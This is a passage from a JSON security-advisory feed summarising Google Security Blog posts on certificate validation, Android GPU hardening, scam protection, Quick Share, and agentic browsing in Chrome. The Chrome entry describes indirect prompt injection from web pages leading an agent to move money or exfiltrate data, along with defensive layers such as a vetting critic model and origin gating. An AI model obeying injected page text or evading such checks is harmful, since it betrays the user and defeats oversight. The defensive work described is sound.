website and use it to impersonate that site or intercept web traffic.\n\nBefore issuing a certificate, a Certification Authority (CA) must verify that the requestor legitimately controls the domain. Most modern validation relies on “challenge-response” mechanisms, for example, a CA might provide a random value for the requestor to place in a specific location, like a DNS TXT record, which the CA then verifies. \n\nHistorically, other methods validated control through indirect means, such as looking up contact information in WHOIS records or sending an email to a domain contact. These methods have been proven vulnerable ( example ) and the recent efforts retire these weaker checks in favor of robust, automated alternatives. \n\n Raising the floor of security \n\nThe recently passed CA/Browser Forum Server Certificate Working Group Ballots introduce a phased sunset of the following Domain Control Validation methods. Alternative existing methods offer stronger security assurances against attackers trying to obtain fraudulent certificates – and the alternative methods are getting stronger over time, too.\n\nSunsetted methods relying on email:\n\n Email, Fax, SMS, or Postal Mail to Domain Contact \n\n Email, Fax, SMS, or Postal Mail to IP Address Contact \n\n Constructed Email to Domain Contact \n\n Email to DNS CAA Contact \n\n Email to DNS TXT Contact \n\nSunsetted methods relying on phone: \n\n Phone Contact with Domain Contact \n\n Phone Contact with DNS TXT Record Phone Contact \n\n Phone Contact with DNS CAA Phone Contact \n\n Phone Contact with IP Address Contact \n\nSunsetted method relying on a reverse lookup:\n\n IP Address \n\n Reverse Address Lookup \n\nFor everyday users, these changes are invisible - and that’s the point. But, behind the scenes, they make it harder for attackers to trick a CA into issuing a certificate for a domain they don’t control. This reduces the risk that stale or indirect signals, (like outdated WHOIS data, complex phone and email ecosystems, or inherited infrastructure) can be abused. These changes push the ecosystem toward standardized (e.g., ACME ), modern, and auditable Domain Control Validation methods. They increase agility and resilience by encouraging site owners to transition to modern Domain Control Validation methods, creating opportunities for faster and more efficient certificate lifecycle management through automation .\n\nThese initiatives remove weak links in how trust is established on the internet. That leads to a safer browsing experience for everyone , not just users of a single browser, platform, or website.\n\nThis is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.","action":"Read the exact official research article before applying its defensive techniques or drawing conclusions.","publishedAt":"2025-12-10T20:00:00.000Z","updatedAt":"2025-12-10T20:00:22.153Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Google Security Research: HTTPS certificate industry phasing out less secure domain validation methods","url":"https://security.googleblog.com/2025/12/https-certificate-industry-phasing-out.html","type":"primary","publishedAt":"2025-12-10T20:00:00.000Z","checkedAt":"2026-10-26T18:35:55.322Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"Google Security Research syndication feed","url":"https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:35:55.322Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:35:55.322Z","reviewedAt":null},"reviewed":false},{"id":"google-security-further-hardening-android-gpus-92a9f4efab9e","cveId":null,"aliases":[],"kind":"advisory","title":"Further Hardening Android GPUs","summary":"Posted by Liz Prucka, Hamzeh Zawawy, Rishika Hooda, Android Security and Privacy Team \n\nLast year, Google's Android Red Team partnered with Arm to conduct an in-depth security analysis of the Mali GPU, a component used in billions of Android devices worldwide. This collaboration was a significant step in proactively identifying and fixing vulnerabilities in the GPU software and firmware stack. \n\nWhile finding and fixing individual bugs is crucial, and progress continues on eliminating them entirely , making them unreachable by restricting attack surface is another effective and often faster way to improve security. This post details our efforts in partnership with Arm to further harden the GPU by reducing the driver's attack surface. \n\n The Growing Threat: Why GPU Security Matters \n\n The Graphics Processing Unit (GPU) has become a critical and attractive target for attackers due to its complexity and privileged access to the system. The scale of this threat is significant: since 2021, the majority of Android kernel driver-based exploits have targeted the GPU. These exploits primarily target the interface between the User-Mode Driver (UMD) and the highly privileged Kernel-Mode Driver (KMD), where flaws can be exploited by malicious input to trigger memory corruption.\n\n Partnership with Arm \n\nOur goal is to raise the bar on GPU security, ensuring the Mali GPU driver and firmware remain highly resilient against potential threats. We partnered with Arm to conduct an analysis of the Mali driver, used on approximately 45% of Android devices. This collaboration was crucial for understanding the driver’s attack surface and identifying areas that posed a security risk, but were not necessary for production use.\n\n The Right Tool for the Job: Hardening with SELinux \n\nOne of the key findings of our investigation was the opportunity to restrict access to certain GPU IOCTLs. IOCTLs act as the GPU kernel driver’s user input and output, as well as the attack surface. This approach","detail":"Posted by Liz Prucka, Hamzeh Zawawy, Rishika Hooda, Android Security and Privacy Team \n\nLast year, Google's Android Red Team partnered with Arm to conduct an in-depth security analysis of the Mali GPU, a component used in billions of Android devices worldwide. This collaboration was a significant step in proactively identifying and fixing vulnerabilities in the GPU software and firmware stack. \n\nWhile finding and fixing individual bugs is crucial, and progress continues on eliminating them entirely , making them unreachable by restricting attack surface is another effective and often faster way to improve security. This post details our efforts in partnership with Arm to further harden the GPU by reducing the driver's attack surface. \n\n The Growing Threat: Why GPU Security Matters \n\n The Graphics Processing Unit (GPU) has become a critical and attractive target for attackers due to its complexity and privileged access to the system. The scale of this threat is significant: since 2021, the majority of Android kernel driver-based exploits have targeted the GPU. These exploits primarily target the interface between the User-Mode Driver (UMD) and the highly privileged Kernel-Mode Driver (KMD), where flaws can be exploited by malicious input to trigger memory corruption.\n\n Partnership with Arm \n\nOur goal is to raise the bar on GPU security, ensuring the Mali GPU driver and firmware remain highly resilient against potential threats. We partnered with Arm to conduct an analysis of the Mali driver, used on approximately 45% of Android devices. This collaboration was crucial for understanding the driver’s attack surface and identifying areas that posed a security risk, but were not necessary for production use.\n\n The Right Tool for the Job: Hardening with SELinux \n\nOne of the key findings of our investigation was the opportunity to restrict access to certain GPU IOCTLs. IOCTLs act as the GPU kernel driver’s user input and output, as well as the attack surface. This approach builds on earlier kernel hardening efforts, such as those described in the 2016 post Protecting Android with More Linux Security . Mali ioctls can be broadly categorized as:\n\n Unprivileged: Necessary for normal operation.\n\n Instrumentation: Used by developers for profiling and debugging.\n\n Restricted: Should not be used by applications in production. This includes IOCTLs which are intended only for GPU development, as well as IOCTLs which have been deprecated and are no longer used by a device’s current User-Mode Driver (UMD) version.\n\nOur goal is to block access to deprecated and debug IOCTLs in production. Instrumentation IOCTLs are intended for use by profiling tools to monitor system GPU performance and are not intended to be directly used by applications in production. As such, access is restricted to shell or applications marked as debuggable . Production IOCTLs remain accessible to regular applications.\n\n A Staged Rollout \n\nThe approach is iterative and is a staged rollout for devices using the Mali GPU. This way, we were able to carefully monitor real-world usage and collect data to validate the policy, minimizing the risk of breaking legitimate applications before moving to broader adoption:\n\n Opt-In Policy: We started with an \"opt-in\" policy. We created a new SELinux attribute, gpu_harden , that disallowed instrumentation ioctls. We then selectively applied this attribute to certain system apps to test the impact. We used the allowxperm rule to audit, but not deny, access to the intended resource, and monitored the denial logs to ensure no breakage.\n\n Opt-Out Policy: Once we were confident that our approach was sound, we moved to an \"opt-out\" policy. We created a gpu_debug domain that would allow access to instrumentation ioctls. All applications were hardened by default, but developers could opt-out by:\n\n Running on a rooted device.\n\n Setting the android:debuggable=\"true\" attribute in their app's manifest.\n\n Requesting a permanent exception in the SELinux policy for their application.\n\nThis approach allowed us to roll out the new security policy broadly while minimizing the impact on developers.\n\n Step by Step instructions on how to add your Sepolicy \n\nTo help our partners and the broader ecosystem adopt similar hardening measures, this section provides a practical, step-by-step guide for implementing a robust SELinux policy to filter GPU ioctls. This example is based on the policy we implemented for the Mali GPU on Android devices.\n\nThe core principle is to create a flexible, platform-level macro that allows each device to define its own specific lists of GPU ioctl commands to be restricted. This approach separates the general policy logic from the device-specific implementation.\n\nOfficial documentation detailing the added macro and GPU security policy is available at:\n\nSELinux Hardening Macro: GPU Syscall Filtering \n\nAndroid Security Change: Android 16 Behavior Changes \n\n Step 1: Utilize the Platform-Level Hardening Macro \n\nThe first step is to use a generic macro that we built in the platform's system/sepolicy that can be used by any device. This macro establishes the framework for filtering different categories of ioctls.\n\nIn the file /sepolicy/public/te_macros , a new macro is created. This macro allows device-specific policies to supply their own lists of ioctls to be filtered. The macro is designed to:\n\n Allow all applications ( appdomain ) access to a defined list of unprivileged ioctls.\n\n Restrict access to sensitive \"instrumentation\" ioctls, only permitting them for debugging tools like shell or runas_app when the application is debuggable.\n\n Block access to privileged ioctls based on the application's target SDK version, maintaining compatibility for older applications.\n\n Step 2: Define Device-Specific IOCTL Lists \n\nWith the platform macro in place, you can now create a device-specific implementation. This involves defining the exact ioctl commands used by your particular GPU driver.\n\n Create an ioctl_macros file in your device's sepolicy directory (e.g., device/your_company/your_device/sepolicy/ioctl_macros ).\n\n Define the ioctl lists inside this file, categorizing them as needed. Based on our analysis, we recommend at least mali_production_ioctls , mali_instrumentation_ioctls , and mali_debug_ioctls . These lists will contain the hexadecimal ioctl numbers specific to your driver.\n\n For example, you can define your IOCTL lists as follows:\n\n define(`unpriv_gpu_ioctls', `0x0000, 0x0001, 0x0002')\ndefine(`restricted_ioctls', `0x1110, 0x1111, 0x1112')\ndefine(`instrumentation_gpu_ioctls', `0x2220, 0x2221, 0x2222') \n\nArm has provided official categorization of their IOCTLs in Documentation/ioctl-categories.rst of their r54p2 release. This list will continue to be maintained in future driver releases.\n\n Step 3: Apply the Policy to the GPU Device \n\nNow, you apply the policy to the GPU device node using the macro you created.\n\n Create a gpu.te file in your device's sepolicy directory.\n\n Call the platform macro from within this file, passing in the device label and the ioctl lists you just defined.\n\n Step 4: Test, Refine, and Enforce \n\nAs with any SELinux policy development, the process should be iterative. This iterative process is consistent with best practices for SELinux policy development outlined in the Android Open Source Project documentation .\n\n Conclusion \n\nAttack surface reduction is an effective approach to security hardening, rendering vulnerabilities unreachable. This technique is particularly effective because it provides users strong protection against existing but also not-yet-discovered vulnerabilities, and vulnerabilities that might be introduced in the future. This effort spans across Android and Android OEMs, and required close collaboration with Arm. The Android security team is committed to collaborating with ecosystem partners to drive broader adoption of this approach to help harden the GPU.\n\n Acknowledgments \n\n Thank you to Jeffrey Vander Stoep for h","action":"Read the exact official research article before applying its defensive techniques or drawing conclusions.","publishedAt":"2025-12-09T17:00:00.000Z","updatedAt":"2025-12-09T17:20:33.515Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Android"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Google Security Research: Further Hardening Android GPUs","url":"https://security.googleblog.com/2025/12/further-hardening-android-gpus.html","type":"primary","publishedAt":"2025-12-09T17:00:00.000Z","checkedAt":"2026-10-26T18:35:55.322Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"Google Security Research syndication feed","url":"https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:35:55.322Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:35:55.322Z","reviewedAt":null},"reviewed":false},{"id":"google-security-architecting-security-for-agentic-55d227c115f9","cveId":null,"aliases":[],"kind":"advisory","title":"Architecting Security for Agentic Capabilities in Chrome","summary":"Posted by Nathan Parker, Chrome security team \n\nChrome has been advancing the web’s security for well over 15 years, and we’re committed to meeting new challenges and opportunities with AI. Billions of people trust Chrome to keep them safe by default, and this is a responsibility we take seriously. Following the recent launch of Gemini in Chrome and the preview of agentic capabilities , we want to share our approach and some new innovations to improve the safety of agentic browsing. \n\nThe primary new threat facing all agentic browsers is indirect prompt injection . It can appear in malicious sites, third-party content in iframes, or from user-generated content like user reviews, and can cause the agent to take unwanted actions such as initiating financial transactions or exfiltrating sensitive data. Given this open challenge, we are investing in a layered defense that includes both deterministic and probabilistic defenses to make it difficult and costly for attackers to cause harm. \n\nDesigning safe agentic browsing for Chrome has involved deep collaboration of security experts across Google. We built on Gemini's existing protections and agent security principles and have implemented several new layers for Chrome.\n\nWe’re introducing a user alignment critic where the agent’s actions are vetted by a separate model that is isolated from untrusted content. We’re also extending Chrome’s origin-isolation capabilities to constrain what origins the agent can interact with, to just those that are relevant to the task. Our layered defense also includes user confirmations for critical steps, real-time detection of threats , and red-teaming and response . We’ll step through these layers below.\n\n Checking agent outputs with User Alignment Critic \n\nThe main planning model for Gemini uses page content shared in Chrome to decide what action to take next. Exposure to untrusted web content means it is inherently vulnerable to indirect prompt injection. We use techniques like spotlight","detail":"Posted by Nathan Parker, Chrome security team \n\nChrome has been advancing the web’s security for well over 15 years, and we’re committed to meeting new challenges and opportunities with AI. Billions of people trust Chrome to keep them safe by default, and this is a responsibility we take seriously. Following the recent launch of Gemini in Chrome and the preview of agentic capabilities , we want to share our approach and some new innovations to improve the safety of agentic browsing. \n\nThe primary new threat facing all agentic browsers is indirect prompt injection . It can appear in malicious sites, third-party content in iframes, or from user-generated content like user reviews, and can cause the agent to take unwanted actions such as initiating financial transactions or exfiltrating sensitive data. Given this open challenge, we are investing in a layered defense that includes both deterministic and probabilistic defenses to make it difficult and costly for attackers to cause harm. \n\nDesigning safe agentic browsing for Chrome has involved deep collaboration of security experts across Google. We built on Gemini's existing protections and agent security principles and have implemented several new layers for Chrome.\n\nWe’re introducing a user alignment critic where the agent’s actions are vetted by a separate model that is isolated from untrusted content. We’re also extending Chrome’s origin-isolation capabilities to constrain what origins the agent can interact with, to just those that are relevant to the task. Our layered defense also includes user confirmations for critical steps, real-time detection of threats , and red-teaming and response . We’ll step through these layers below.\n\n Checking agent outputs with User Alignment Critic \n\nThe main planning model for Gemini uses page content shared in Chrome to decide what action to take next. Exposure to untrusted web content means it is inherently vulnerable to indirect prompt injection. We use techniques like spotlighting that direct the model to strongly prefer following user and system instructions over what’s on the page, and we’ve upstreamed known attacks to train the Gemini model to avoid falling for them. \n\nTo further bolster model alignment beyond spotlighting, we’re introducing the User Alignment Critic — a separate model built with Gemini that acts as a high-trust system component. This architecture is inspired partially by the dual-LLM pattern as well as CaMeL research from Google DeepMind.\n\n A flow chart that depicts the User Alignment Critic: a trusted component that vets each action before it reaches the browser. \n\nThe User Alignment Critic runs after the planning is complete to double-check each proposed action. Its primary focus is task alignment: determining whether the proposed action serves the user’s stated goal. If the action is misaligned, the Alignment Critic will veto it. This component is architected to see only metadata about the proposed action and not any unfiltered untrustworthy web content, thus ensuring it cannot be poisoned directly from the web. It has less context, but it also has a simpler job — just approve or reject an action.\n\nThis is a powerful, extra layer of defense against both goal-hijacking and data exfiltration within the action step. When an action is rejected, the Critic provides feedback to the planning model to re-formulate its plan, and the planner can return control to the user if there are repeated failures. \n\n Enforcing stronger security bound aries with Origin Sets \n\n Site Isolation and the same-origin policy are fundamental boundaries in Chrome’s security model and we’re carrying forward these concepts into the agentic world. By their nature, agents must operate across websites (e.g. collecting ingredients on one site and filling a shopping cart on another). But if an unrestricted agent is compromised and can interact with arbitrary sites, it can create what is effectively a Site Isolation bypass. That can have a severe impact when the agent operates on a local browser like Chrome, with logged-in sites vulnerable to data exfiltration. To address this, we’re extending those principles with Agent Origin Sets . Our design architecturally limits the agent to only access data from origins that are related to the task at hand, or data that the user has chosen to share with the agent. This prevents a compromised agent from acting arbitrarily on unrelated origins.\n\nFor each task on the web, a trustworthy gating function decides which origins proposed by the planner are relevant to the task. The design is to separate these into two sets, tracked for each session:\n\n Read-only origins are those from which Gemini is permitted to consume content. If an iframe’s origin isn’t on the list, the model will not see that content.\n\n Read-writable origins are those on which the agent is allowed to actuate (e.g., click, type) in addition to reading from. \n\nThis delineation enforces that only data from a limited set of origins is available to the agent, and this data can only be passed on to the writable origins. This bounds the threat vector of cross-origin data leaks. This also gives the browser the ability to enforce some of that separation, such as by not even sending to the model data that is outside the readable set. This reduces the model’s exposure to unnecessary cross-site data. Like the Alignment Critic, the gating functions that calculate these origin sets are not exposed to untrusted web content. The planner can also use context from pages the user explicitly shared in that session, but it cannot add new origins without the gating function’s approval. Outside of web origins, the planning model may ingest other non-web content such as from tool calls, so we also delineate those into read-vs-write calls and similarly check that those calls are appropriate for the task.\n\n Iframes from origins that aren’t related to the user’s task are not shown to the model. \n\nPage navigations can happen in several ways: If the planner decides to navigate to a new origin that isn’t yet in the readable set, that origin is checked for relevancy by a variant of the User Alignment critic before Chrome adds it and starts the navigation. And since model-generated URLs could exfiltrate private information, we have a deterministic check to restrict them to known, public URLs. If a page in Chrome navigates on its own to a new origin, it’ll get vetted by the same critic.\n\nGetting the balance right on the first iteration is hard without seeing how users’ tasks interact with these guardrails. We’ve initially implemented a simpler version of origin gating that just tracks the read-writeable set. We will tune the gating functions and other aspects of this system to reduce unnecessary friction while improving security. We think this architecture will provide a powerful security primitive that can be audited and reasoned about within the client, as it provides guardrails against cross-origin sensitive data exfiltration and unwanted actions.\n\n Transparency and control for sensitive actions\n\nWe designed the agentic capabilities in Chrome to give the user both transparency and control when they need it most. As the agent works in a tab, it details each step in a work log, allowing the user to observe the agent's actions as they happen. The user can pause to take over or stop a task at any time. \n\nThis transparency is paired with several layers of deterministic and model-based checks to trigger user confirmations before the agent takes an impactful action. These serve as guardrails against both model mistakes and adversarial input by putting the user in the loop at key moments.\n\nFirst, the agent will require a user confirmation before it navigates to certain sensitive sites, such as those dealing with banking transactions or personal medical information. This is based on a deterministic check against a list of sensitive sites. Second, it’ll confirm before allowing Chrome to sign-in to a site via Goo","action":"Read the exact official research article before applying its defensive techniques or drawing conclusions.","publishedAt":"2025-12-08T18:03:00.000Z","updatedAt":"2025-12-08T19:39:36.762Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Google Chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Google Security Research: Architecting Security for Agentic Capabilities in Chrome","url":"https://security.googleblog.com/2025/12/architecting-security-for-agentic.html","type":"primary","publishedAt":"2025-12-08T18:03:00.000Z","checkedAt":"2026-10-26T18:35:55.322Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"Google Security Research syndication feed","url":"https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:35:55.322Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:35:55.322Z","reviewedAt":null},"reviewed":false},{"id":"google-security-android-expands-pilot-in-call-scam-protection-financial-apps-7c6a9197e7fc","cveId":null,"aliases":[],"kind":"advisory","title":"Android expands pilot for in-call scam protection for financial apps","summary":"Posted by Aden Haussmann, Associate Product Manager and Sumeet Sharma, Play Partnerships Trust & Safety Lead \n\nAndroid uses the best of Google AI and our advanced security expertise to tackle mobile scams from every angle. Over the last few years, we’ve launched industry-leading features to detect scams and protect users across phone calls, text messages and messaging app chat notifications .\n\nThese efforts are making a real difference in the lives of Android users. According to a recent YouGov survey 1 commissioned by Google, Android users were 58% more likely than iOS users to report they had not received any scam texts in the prior week 2 . \n\nBut our work doesn’t stop there. Scammers are continuously evolving, using more sophisticated social engineering tactics to trick users into sharing their phone screen while on the phone to visit malicious websites, reveal sensitive information, send funds or download harmful apps. One popular scam involves criminals impersonating banks or other trusted institutions on the phone to try to manipulate victims into sharing their screen in order to reveal banking information or make a financial transfer. \n\nTo help combat these types of financial scams, we launched a pilot earlier this year in the UK focused on in-call protections for financial apps.\n\n How the in-call scam protection works on Android \n\nWhen you launch a participating financial app while screen sharing and on a phone call with a number that is not saved in your contacts, your Android device 3 will automatically warn you about the potential dangers and give you the option to end the call and to stop screen sharing with just one tap. The warning includes a 30-second pause period before you’re able to continue, which helps break the ‘spell’ of the scammer's social engineering, disrupting the false sense of urgency and panic commonly used to manipulate you into a scam.\n\n Bringing in-call scam protections to more users on Android \n\nThe UK pilot of Android’s in-call sca","detail":"Posted by Aden Haussmann, Associate Product Manager and Sumeet Sharma, Play Partnerships Trust & Safety Lead \n\nAndroid uses the best of Google AI and our advanced security expertise to tackle mobile scams from every angle. Over the last few years, we’ve launched industry-leading features to detect scams and protect users across phone calls, text messages and messaging app chat notifications .\n\nThese efforts are making a real difference in the lives of Android users. According to a recent YouGov survey 1 commissioned by Google, Android users were 58% more likely than iOS users to report they had not received any scam texts in the prior week 2 . \n\nBut our work doesn’t stop there. Scammers are continuously evolving, using more sophisticated social engineering tactics to trick users into sharing their phone screen while on the phone to visit malicious websites, reveal sensitive information, send funds or download harmful apps. One popular scam involves criminals impersonating banks or other trusted institutions on the phone to try to manipulate victims into sharing their screen in order to reveal banking information or make a financial transfer. \n\nTo help combat these types of financial scams, we launched a pilot earlier this year in the UK focused on in-call protections for financial apps.\n\n How the in-call scam protection works on Android \n\nWhen you launch a participating financial app while screen sharing and on a phone call with a number that is not saved in your contacts, your Android device 3 will automatically warn you about the potential dangers and give you the option to end the call and to stop screen sharing with just one tap. The warning includes a 30-second pause period before you’re able to continue, which helps break the ‘spell’ of the scammer's social engineering, disrupting the false sense of urgency and panic commonly used to manipulate you into a scam.\n\n Bringing in-call scam protections to more users on Android \n\nThe UK pilot of Android’s in-call scam protections has already helped thousands of users end calls that could have cost them a significant amount of money. Following this success, and alongside recently launched pilots with financial apps in Brazil and India , we’ve now expanded this protection to most major UK banks. \n\nWe’ve also started to pilot this protection with more app types, including peer-to-peer (P2P) payment apps. Today, we’re taking the next step in our expansion by rolling out a pilot of this protection in the United States 4 with a number of popular fintechs like Cash App and banks, including JPMorganChase. \n\nWe are committed to collaborating across the ecosystem to help keep people safe from scams. We look forward to learning from these pilots and bringing these critical safeguards to even more users in the future.\n\n Notes\n\n Google/YouGov survey, July-August, n=5,100 (1,700 each in the US, Brazil and India), with adults who use their smartphones daily and who have been exposed to a scam or fraud attempt on their smartphone. Survey data have been weighted to smartphone population adults in each country. ↩ \n \n Among users who use the default texting app on their smartphone. ↩ \n \n Compatible with Android 11+ devices ↩ \n \n US users of the US versions of the apps; rollout begins Dec. 2025 ↩\n\nThis is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.","action":"Read the exact official research article before applying its defensive techniques or drawing conclusions.","publishedAt":"2025-12-03T16:59:00.000Z","updatedAt":"2025-12-03T16:59:52.827Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Android"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Google Security Research: Android expands pilot for in-call scam protection for financial apps","url":"https://security.googleblog.com/2025/12/android-expands-pilot-in-call-scam-protection-financial-apps.html","type":"primary","publishedAt":"2025-12-03T16:59:00.000Z","checkedAt":"2026-10-26T18:35:55.322Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"Google Security Research syndication feed","url":"https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:35:55.322Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:35:55.322Z","reviewedAt":null},"reviewed":false},{"id":"google-security-android-quick-share-support-for-airdrop-security-ceb406ec476e","cveId":null,"aliases":[],"kind":"advisory","title":"Android Quick Share Support for AirDrop: A Secure Approach to Cross-Platform File Sharing","summary":"Posted by Dave Kleidermacher, VP, Platforms Security & Privacy, Google \n\nTechnology should bring people closer together, not create walls. Being able to communicate and connect with friends and family should be easy regardless of the phone they use. That’s why Android has been building experiences that help you stay connected across platforms.\n\nAs part of our efforts to continue to make cross-platform communication more seamless for users, we've made Quick Share interoperable with AirDrop, allowing for two-way file sharing between Android and iOS devices, starting with the Pixel 10 Family. This new feature makes it possible to quickly share your photos, videos, and files with people you choose to communicate with, without worrying about the kind of phone they use. \n\nMost importantly, when you share personal files and content, you need to trust that it stays secure. You can share across devices with confidence knowing we built this feature with security at its core, protecting your data with strong safeguards that have been tested by independent security experts.\n\n Secure by Design\n\nWe built Quick Share’s interoperability support for AirDrop with the same rigorous security standards that we apply to all Google products. Our approach to security is proactive and deeply integrated into every stage of the development process. This includes:\n\n Threat Modeling: We identify and address potential security risks before they can become a problem.\n\n Internal Security Design and Privacy Reviews: Our dedicated security and privacy teams thoroughly review the design to ensure it meets our high standards.\n\n Internal Penetration Testing: We conduct extensive in-house testing to identify and fix vulnerabilities.\n\nThis Secure by Design philosophy ensures that all of our products are not just functional but also fundamentally secure.\n\nThis feature is also protected by a multi-layered security approach to ensure a safe sharing experience from end-to-end, regardless of what platform you","detail":"Posted by Dave Kleidermacher, VP, Platforms Security & Privacy, Google \n\nTechnology should bring people closer together, not create walls. Being able to communicate and connect with friends and family should be easy regardless of the phone they use. That’s why Android has been building experiences that help you stay connected across platforms.\n\nAs part of our efforts to continue to make cross-platform communication more seamless for users, we've made Quick Share interoperable with AirDrop, allowing for two-way file sharing between Android and iOS devices, starting with the Pixel 10 Family. This new feature makes it possible to quickly share your photos, videos, and files with people you choose to communicate with, without worrying about the kind of phone they use. \n\nMost importantly, when you share personal files and content, you need to trust that it stays secure. You can share across devices with confidence knowing we built this feature with security at its core, protecting your data with strong safeguards that have been tested by independent security experts.\n\n Secure by Design\n\nWe built Quick Share’s interoperability support for AirDrop with the same rigorous security standards that we apply to all Google products. Our approach to security is proactive and deeply integrated into every stage of the development process. This includes:\n\n Threat Modeling: We identify and address potential security risks before they can become a problem.\n\n Internal Security Design and Privacy Reviews: Our dedicated security and privacy teams thoroughly review the design to ensure it meets our high standards.\n\n Internal Penetration Testing: We conduct extensive in-house testing to identify and fix vulnerabilities.\n\nThis Secure by Design philosophy ensures that all of our products are not just functional but also fundamentally secure.\n\nThis feature is also protected by a multi-layered security approach to ensure a safe sharing experience from end-to-end, regardless of what platform you’re on. \n\n Secure Sharing Channel: The communication channel itself is hardened by our use of Rust to develop this feature. This memory-safe language is the industry benchmark for building secure systems and provides confidence that the connection is protected against buffer overflow attacks and other common vulnerabilities. \n\n Built-in Platform Protections: This feature is strengthened by the robust built-in security of both Android and iOS. On Android, security is built in at every layer. Our deep investment in Rust at the OS level hardens the foundation, while proactive defenses like Google Play Protect work to keep your device safe. This is complemented by the security architecture of iOS that provides its own strong safeguards that mitigate malicious files and exploitation. These overlapping protections on both platforms work in concert with the secure connection to provide comprehensive safety for your data when you share or receive.\n\n You’re in Control: Sharing across platforms works just like you're used to: a file requires your approval before being received, so you're in control of what you accept.\n\n The Power of Rust: A Foundation of Secure Communication\n\nA key element of our security strategy for the interoperability layer between Quick Share and AirDrop is the use of the memory-safe Rust programming language. Recognized by security agencies around the world, including the NSA and CISA , Rust is widely considered the industry benchmark for building secure systems because it eliminates entire classes of memory-safety vulnerabilities by design.\n\n Rust is already a cornerstone of our broader initiative to eliminate memory safety bugs across Android. Its selection for this feature was deliberate, driven by the unique security challenges of cross-platform communication that demanded the most robust protections for memory safety.\n\nThe core of this feature involves receiving and parsing data sent over a wireless protocol from another device. Historically, when using a memory-unsafe language, bugs in data parsing logic are one of the most common sources of high-severity security vulnerabilities. A malformed data packet sent to a parser written in a memory-unsafe language can lead to buffer overflows and other memory corruption bugs, creating an opportunity for code execution.\n\nThis is precisely where Rust provides a robust defense. Its compiler enforces strict ownership and borrowing rules at compile time, which guarantees memory safety. Rust removes entire classes of memory-related bugs. This means our implementation is inherently resilient against attackers attempting to use maliciously crafted data packets to exploit memory errors. \n\n Secure Sharing Using AirDrop's \"Everyone\" Mode\n\nTo ensure a seamless experience for both Android and iOS users, Quick Share currently works with AirDrop's \"Everyone for 10 minutes\" mode. This feature does not use a workaround; the connection is direct and peer-to-peer, meaning your data is never routed through a server, shared content is never logged, and no extra data is shared. As with \"Everyone for 10 minutes\" mode on any device when you’re sharing between non-contacts, you can ensure you're sharing with the right person by confirming their device name on your screen with them in person.\n\n This implementation using \"Everyone for 10 minutes” mode is just the first step in seamless cross-platform sharing, and we welcome the opportunity to work with Apple to enable “Contacts Only” mode in the future.\n\n Tested by Independent Security Experts\n\nAfter conducting our own secure product development, internal threat modeling, privacy reviews, and red team penetration tests, we engaged with NetSPI , a leading third-party penetration testing firm, to further validate the security of this feature and conduct an independent security assessment . The assessment found the interoperability between Quick Share and AirDrop is secure, is “notably stronger” than other industry implementations and does not leak any information. \n\nBased on these internal and external assessments, we believe our implementation provides a strong security foundation for cross-platform file sharing for both Android and iOS users. We will continue to evaluate and enhance the implementation’s security in collaboration with additional third-party partners.\n\nTo complement this deep technical audit, we also sought expert third-party perspective on our approach from Dan Boneh , a renowned security expert and professor at Stanford University:\n\n“Google’s work on this feature, including the use of memory safe Rust for the core communications layer, is a strong example of how to build secure interoperability, ensuring that cross-platform information sharing remains safe. I applaud the effort to open more secure information sharing between platforms and encourage Google and Apple to work together more on this.\"\n\n The Future of File-Sharing Should Be Interoperable\n\nThis is just the first step as we work to improve the experience and expand it to more devices. We look forward to continuing to work with industry partners to make connecting and communicating across platforms a secure, seamless experience for all users.\n\nThis is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.","action":"Read the exact official research article before applying its defensive techniques or drawing conclusions.","publishedAt":"2025-11-20T17:00:00.000Z","updatedAt":"2025-11-20T22:25:07.293Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Android"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI 